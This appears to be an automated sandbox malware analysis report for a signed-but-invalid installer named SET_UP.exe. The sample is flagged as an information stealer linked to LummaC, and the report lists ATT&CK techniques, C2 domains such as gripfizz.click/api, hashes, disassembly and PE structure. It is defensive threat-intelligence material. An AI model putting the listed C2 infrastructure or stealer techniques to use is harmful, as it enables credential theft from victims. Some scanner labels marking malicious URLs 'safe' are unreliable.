Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	21 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	3 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	11 Deobfuscate/Decode Files or Information	LSASS Memory	1 Query Registry	Remote Desktop Protocol	41 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Native API	Logon Script (Windows)	Logon Script (Windows)	2 Obfuscated Files or Information	Security Account Manager	351 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	21 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	113 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	11 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	44 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
https://gripfizz.click/(	0%	Avira URL Cloud	safe
https://gripfizz.click:443/api	0%	Avira URL Cloud	safe
https://gripfizz.click/b	0%	Avira URL Cloud	safe
https://gripfizz.click:443/api5	0%	Avira URL Cloud	safe
gripfizz.click	0%	Avira URL Cloud	safe
https://gripfizz.click/	0%	Avira URL Cloud	safe
http://ocsp.sectigo.com0N	0%	Avira URL Cloud	safe
https://gripfizz.click/api	0%	Avira URL Cloud	safe
https://gripfizz.click:443/apiAw	0%	Avira URL Cloud	safe
https://gripfizz.click/l	0%	Avira URL Cloud	safe
https://gripfizz.click/apir	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
gripfizz.click	172.67.152.152	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
scentniej.buzz	false		high
rebuildeso.buzz	false		high
appliacnesot.buzz	false		high
screwamusresz.buzz	false		high
cashfuzysao.buzz	false		high
inherineau.buzz	false		high
prisonyfork.buzz	false		high
hummskitnj.buzz	false		high
gripfizz.click	true	Avira URL Cloud: safe	unknown
https://gripfizz.click/api	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0	SET_UP.exe	false		high
https://duckduckgo.com/chrome_newtab	SET_UP.exe, 00000000.00000003.1798496075.00000000037A9000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1798418588.00000000037AB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.microP	SET_UP.exe, 00000000.00000003.1905141371.0000000000CE1000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1880342904.0000000000CE1000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1904834876.0000000000CD0000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1875563619.0000000000CD0000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1843512985.0000000000CD0000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1927597297.0000000000D1F000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1797594602.0000000000CE1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	SET_UP.exe, 00000000.00000003.1798496075.00000000037A9000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1798418588.00000000037AB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sectigo.com/CPS0	SET_UP.exe	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	SET_UP.exe, 00000000.00000003.1798496075.00000000037A9000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1798418588.00000000037AB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	SET_UP.exe	false		high
http://ocsp.sectigo.com0	SET_UP.exe	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#	SET_UP.exe	false		high
https://gripfizz.click/(	SET_UP.exe, 00000000.00000003.1904589109.0000000000D2A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	SET_UP.exe, 00000000.00000003.1798496075.00000000037A9000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1798418588.00000000037AB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	SET_UP.exe, 00000000.00000003.1843964632.000000000379C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	SET_UP.exe, 00000000.00000003.1798496075.00000000037A9000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1798418588.00000000037AB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	SET_UP.exe, 00000000.00000003.1843964632.000000000379C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	SET_UP.exe, 00000000.00000003.1821012019.00000000037B7000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1820901714.00000000037B7000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1820776598.00000000037B7000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1798963663.00000000037B7000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1798859586.0000000003803000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	SET_UP.exe	false		high
https://gripfizz.click/b	SET_UP.exe, 00000000.00000003.1875563619.0000000000CD0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	SET_UP.exe, 00000000.00000003.1821012019.00000000037B7000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1820901714.00000000037B7000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1820776598.00000000037B7000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1798963663.00000000037B7000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1798859586.0000000003803000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	SET_UP.exe, 00000000.00000003.1798496075.00000000037A9000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1798418588.00000000037AB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	SET_UP.exe, 00000000.00000003.1845184251.0000000003887000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gripfizz.click/l	SET_UP.exe, 00000000.00000003.1843512985.0000000000CD0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	SET_UP.exe, 00000000.00000003.1798496075.00000000037A9000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1798418588.00000000037AB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com0N	SET_UP.exe	false	Avira URL Cloud: safe	unknown
https://gripfizz.click:443/api	SET_UP.exe, 00000000.00000003.2271672780.0000000000CAF000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1927965729.0000000000CAF000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000002.2272379174.0000000000CAF000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1797626769.0000000000CAF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://x1.c.lencr.org/0	SET_UP.exe, 00000000.00000003.1843964632.000000000379C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	SET_UP.exe, 00000000.00000003.1843964632.000000000379C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	SET_UP.exe, 00000000.00000003.1798963663.0000000003792000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	SET_UP.exe, 00000000.00000003.1798496075.00000000037A9000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1798418588.00000000037AB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.microsof	SET_UP.exe, 00000000.00000003.1798859586.0000000003805000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	SET_UP.exe, 00000000.00000003.1843964632.000000000379C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gripfizz.click:443/api5	SET_UP.exe, 00000000.00000003.2271672780.0000000000CAF000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1905062850.0000000000CAF000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1927965729.0000000000CAF000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000002.2272379174.0000000000CAF000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1880174889.0000000000CAF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gripfizz.click:443/apiAw	SET_UP.exe, 00000000.00000003.2271672780.0000000000CAF000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1905062850.0000000000CAF000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1927965729.0000000000CAF000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000002.2272379174.0000000000CAF000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1880174889.0000000000CAF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	SET_UP.exe, 00000000.00000003.1798963663.0000000003792000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	SET_UP.exe, 00000000.00000003.1845184251.0000000003887000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gripfizz.click/	SET_UP.exe, 00000000.00000002.2272312609.0000000000C77000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	SET_UP.exe, 00000000.00000003.1798496075.00000000037A9000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1798418588.00000000037AB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gripfizz.click/apir	SET_UP.exe, 00000000.00000003.2271878174.0000000000D3B000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.2271570690.0000000000D34000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000002.2272556499.0000000000D3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.67.152.152	gripfizz.click	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1581468
Start date and time:	2024-12-27 20:32:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SET_UP.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/0@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 4 Number of non-executed functions: 248
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.12.23.50, 13.107.246.63, 20.109.210.53
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: SET_UP.exe

Simulations

Behavior and APIs

Time	Type	Description
14:33:12	API Interceptor	8x Sleep call for process: SET_UP.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	!Setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.89.250
	@Setup.exe	Get hash	malicious	LummaC	Browse	172.67.208.58
	Full_Setup.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.204.41
	http://customervoice.microsoft.com/Pages/ResponsePage.aspx?id=N_pyUL0QJkeR_KiXHZsVlyTB1Qoy7S9IkE8Ogzl8coFUMFBJSDkxQ0w3VVZMNFJFUlNDRVkyU05CUi4u	Get hash	malicious	HTMLPhisher	Browse	104.21.18.132
	http://resources.onestart.ai/onestart_installer_130.0.6723.134.exe	Get hash	malicious	Unknown	Browse	1.1.1.1
	Electrum-bch-4.4.2-x86_64.AppImage.elf	Get hash	malicious	Unknown	Browse	172.67.12.83
	https://franoapas.co.in/	Get hash	malicious	Unknown	Browse	172.67.221.200
	http://bitstampweb.hbrygl.com	Get hash	malicious	Unknown	Browse	172.67.136.84
	Solara.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	TrdIE26br9.msi	Get hash	malicious	Unknown	Browse	172.67.148.171

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	!Setup.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.152.152
	@Setup.exe	Get hash	malicious	LummaC	Browse	172.67.152.152
	Full_Setup.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.152.152
	Solara.exe	Get hash	malicious	LummaC	Browse	172.67.152.152
	0x001f00000004676d-1858.exe	Get hash	malicious	LummaC	Browse	172.67.152.152
	eYAXkcBRfQ.exe	Get hash	malicious	LummaC	Browse	172.67.152.152
	JpzbUfhXi0.exe	Get hash	malicious	LummaC	Browse	172.67.152.152
	o0cabS0OQn.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.152.152
	738KZNfnzz.exe	Get hash	malicious	LummaC	Browse	172.67.152.152
	mDuCbT8LnH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.152.152

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	0.5708598206365602
TrID:	Win32 Executable (generic) a (10002005/4) 98.81% Windows ActiveX control (116523/4) 1.15% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SET_UP.exe
File size:	74'900'688 bytes
MD5:	cd56e21dfe1460fc3efa75a47c94636a
SHA1:	2f3681813a203c1cd397411840d7837478328bbe
SHA256:	b3fdf6d793ada45f64429549b3601405f6ce1c67819b23add27d53b2e50aa324
SHA512:	bb39a124ee1b8272f98aefba307caf0d6198d1b7463e421f5bfb0a0e7df5dca3fa01885ae36585a9785805a77a96b88b1a10164e0c1e8fd9762335f1c4e36878
SSDEEP:	49152:6w0qxRbo2IFUV+o3bQi0xjod/11XZovmN/:t0qxRbol7c1Joa/
TLSH:	4DF7F524A6B246A5DBF2057BD906EBDDC83CAE11332101EF21DD369E5532DDC4272A2F
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......C...............................U.......U.......U...[.......................&...............{...................Rich...........

File Icon


Icon Hash:	2b698e8c88c8690f

Static PE Info

General

Entrypoint:	0x477b03
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x61826F9C [Wed Nov 3 11:16:44 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	ff15200f411a3d1cc3567c598135aebe

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Microsoft Code Signing PCA 2010, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	15/12/2020 21:24:20 02/12/2021 21:24:20
Subject Chain	CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
Version:	3
Thumbprint MD5:	4068B1B0494EFA79F5A751DCCA8111CD
Thumbprint SHA-1:	914A09C2E02C696AF394048BCB8D95449BCD5B9E
Thumbprint SHA-256:	4A838904E732A380E2856A9D6FEE926E5C57EB59336292AC5D9E47C9B2C1ED13
Serial:	33000003DFFB6AE3F427ECB6A30000000003DF

Entrypoint Preview

Instruction
call 00007F6A28CA4F71h
jmp 00007F6A28CA47BFh
int3
int3
int3
push ecx
lea ecx, dword ptr [esp+08h]
sub ecx, eax
and ecx, 0Fh
add eax, ecx
sbb ecx, ecx
or eax, ecx
pop ecx
jmp 00007F6A28CA505Fh
push ecx
lea ecx, dword ptr [esp+08h]
sub ecx, eax
and ecx, 07h
add eax, ecx
sbb ecx, ecx
or eax, ecx
pop ecx
jmp 00007F6A28CA5049h
mov ecx, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], ecx
pop ecx
pop edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
push ecx
ret
mov ecx, dword ptr [ebp-10h]
xor ecx, ebp
call 00007F6A28CA3EBBh
jmp 00007F6A28CA4922h
push eax
push dword ptr fs:[00000000h]
lea eax, dword ptr [esp+0Ch]
sub esp, dword ptr [esp+0Ch]
push ebx
push esi
push edi
mov dword ptr [eax], ebp
mov ebp, eax
mov eax, dword ptr [004D9064h]
xor eax, ebp
push eax
push dword ptr [ebp-04h]
mov dword ptr [ebp-04h], FFFFFFFFh
lea eax, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], eax
ret
push eax
push dword ptr fs:[00000000h]
lea eax, dword ptr [esp+0Ch]
sub esp, dword ptr [esp+0Ch]
push ebx
push esi
push edi
mov dword ptr [eax], ebp
mov ebp, eax
mov eax, dword ptr [004D9064h]
xor eax, ebp
push eax
mov dword ptr [ebp-10h], eax
push dword ptr [ebp-04h]
mov dword ptr [ebp-04h], FFFFFFFFh
lea eax, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], eax
ret
push eax
inc dword ptr fs:[eax]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xd6878	0x12c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xdc000	0x9c6e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x476c300	0x21d0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x179000	0x9c7c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xc0fd0	0x70	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xc1040	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xadc88	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xac000	0x574	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0xd631c	0x80	.rdata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xaa3df	0xaa400	7e3132d5068a2c0e7b727a6ce4852509	False	0.47093830304698975	data	6.532184128439665	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xac000	0x2c712	0x2c800	413120a321a93002b690382b6678c348	False	0.38426088483146065	data	4.819529476300543	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xd9000	0x28d4	0x1400	539978dea584470dc14383a383e4c7bf	False	0.2162109375	data	2.8291551241034414	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xdc000	0x9c6e0	0x9c800	c1525626ec0cf32b5bd014c356891ca0	False	0.06745613268769968	data	4.536629360352571	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x179000	0xa6e00	0xa6e00	b81ac58272b5554af04886f592662de4	False	0.640780079588015	data	7.58271858098033	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
TYPELIB	0xdddc0	0x1910	data			0.41973192019950123
TYPELIB	0xdf6d0	0x1910	data	German	Germany	0.41973192019950123
TYPELIB	0xe0fe0	0x1910	data	English	United States	0.41973192019950123
TYPELIB	0xe28f0	0x1910	data	French	France	0.41973192019950123
TYPELIB	0xe4200	0x1910	data	Italian	Italy	0.41973192019950123
TYPELIB	0xe5b10	0x1910	data	Dutch	Netherlands	0.41973192019950123
TYPELIB	0xe7420	0x1910	data	Portuguese	Portugal	0.41973192019950123
TYPELIB	0xe8d30	0x1910	data			0.41973192019950123
RT_ICON	0xea640	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896			0.20376712328767124
RT_ICON	0xee868	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	German	Germany	0.20376712328767124
RT_ICON	0xf2a90	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.20376712328767124
RT_ICON	0xf6cb8	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	French	France	0.20376712328767124
RT_ICON	0xfaee0	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	Italian	Italy	0.20376712328767124
RT_ICON	0xff108	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	Dutch	Netherlands	0.20376712328767124
RT_ICON	0x103330	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	Portuguese	Portugal	0.20376712328767124
RT_ICON	0x107558	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896			0.20376712328767124
RT_ICON	0x10b780	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600			0.25404564315352696
RT_ICON	0x10dd28	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	German	Germany	0.25404564315352696
RT_ICON	0x1102d0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.25404564315352696
RT_ICON	0x112878	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	French	France	0.25404564315352696
RT_ICON	0x114e20	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	Italian	Italy	0.25404564315352696
RT_ICON	0x1173c8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	Dutch	Netherlands	0.25404564315352696
RT_ICON	0x119970	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	Portuguese	Portugal	0.25404564315352696
RT_ICON	0x11bf18	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600			0.25404564315352696
RT_ICON	0x11e4c0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224			0.2905722326454034
RT_ICON	0x11f568	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	German	Germany	0.2905722326454034
RT_ICON	0x120610	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.2905722326454034
RT_ICON	0x1216b8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	French	France	0.2905722326454034
RT_ICON	0x122760	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Italian	Italy	0.2905722326454034
RT_ICON	0x123808	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Dutch	Netherlands	0.2905722326454034
RT_ICON	0x1248b0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Portuguese	Portugal	0.2905722326454034
RT_ICON	0x125958	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224			0.2905722326454034
RT_ICON	0x126a00	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400			0.3360655737704918
RT_ICON	0x127388	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	German	Germany	0.3360655737704918
RT_ICON	0x127d10	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.3360655737704918
RT_ICON	0x128698	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	French	France	0.3360655737704918
RT_ICON	0x129020	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	Italian	Italy	0.3360655737704918
RT_ICON	0x1299a8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	Dutch	Netherlands	0.3360655737704918
RT_ICON	0x12a330	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	Portuguese	Portugal	0.3360655737704918
RT_ICON	0x12acb8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400			0.3360655737704918
RT_ICON	0x12b640	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088			0.5141843971631206
RT_ICON	0x12baa8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	German	Germany	0.5141843971631206
RT_ICON	0x12bf10	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.5141843971631206
RT_ICON	0x12c378	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	French	France	0.5141843971631206
RT_ICON	0x12c7e0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Italian	Italy	0.5141843971631206
RT_ICON	0x12cc48	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Dutch	Netherlands	0.5141843971631206
RT_ICON	0x12d0b0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Portuguese	Portugal	0.5141843971631206
RT_ICON	0x12d518	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088			0.5141843971631206
RT_MENU	0x12d980	0x2a	data			1.0714285714285714
RT_MENU	0x12d9ac	0x44	data	German	Germany	0.8676470588235294
RT_MENU	0x12d9f0	0x2a	data	English	United States	1.0714285714285714
RT_MENU	0x12da1c	0x34	data	French	France	0.9038461538461539
